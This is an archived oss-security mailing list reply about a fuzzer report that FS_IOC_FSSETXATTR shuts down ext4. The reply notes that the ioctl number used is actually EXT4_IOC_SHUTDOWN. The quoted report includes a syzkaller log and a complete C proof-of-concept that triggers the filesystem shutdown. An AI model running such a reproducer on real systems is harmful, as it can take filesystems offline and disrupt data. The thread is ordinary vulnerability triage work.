[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <20180828094537.GA10578@localvm.private.f2light.com>+6A304428CF1ACB2B
Date: Tue, 28 Aug 2018 17:45:37 +0800
From: Xiami <pengyu.tao@...li.com>
To: oss-security@...ts.openwall.com
Subject: Re: Linux kernel: FS_IOC_FSSETXATTR will lead to
EXT4-fs shut down
On Tue, Aug 28, 2018 at 08:27:50AM +0000, zhrzhang(张洪睿) wrote:
> Hello：
> when I fuzz，I found the kernel will always no output from machine, and error FS_IOC_FSSETXATTR contribute to this.
>
> the syzlog is as below:
>
> r0 = creat(&(0x7f0000000140)='./file0\x00', 0x0)
> ioctl$FS_IOC_FSSETXATTR(r0, 0x8004587d, &(0x7f0000000080)={0x0, 0x0, 0x0, 0x8})
Your ioctl command 0x8004587d is exactly EXT4_IOC_SHUTDOWN defined in fs/ext4/ext4.h
>
> the poc will show like this:
>
> #define _GNU_SOURCE
>
> #include <endian.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/syscall.h>
> #include <sys/types.h>
> #include <unistd.h>
>
> uint64_t r[1] = {0xffffffffffffffff};
>
> int main(void)
> {
> syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
> long res = 0;
> memcpy((void*)0x20000140, "./file0", 8);
> res = syscall(__NR_creat, 0x20000140, 0);
> if (res != -1)
> r[0] = res;
> *(uint32_t*)0x20000080 = 0;
> *(uint32_t*)0x20000084 = 0;
> *(uint32_t*)0x20000088 = 0;
> *(uint32_t*)0x2000008c = 8;
> *(uint32_t*)0x20000090 = 0;
> *(uint64_t*)0x20000098 = 0;
> syscall(__NR_ioctl, r[0], 0x8004587d, 0x20000080);
> return 0;
> }
> ________________________________
> zhrzhang(张洪睿)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
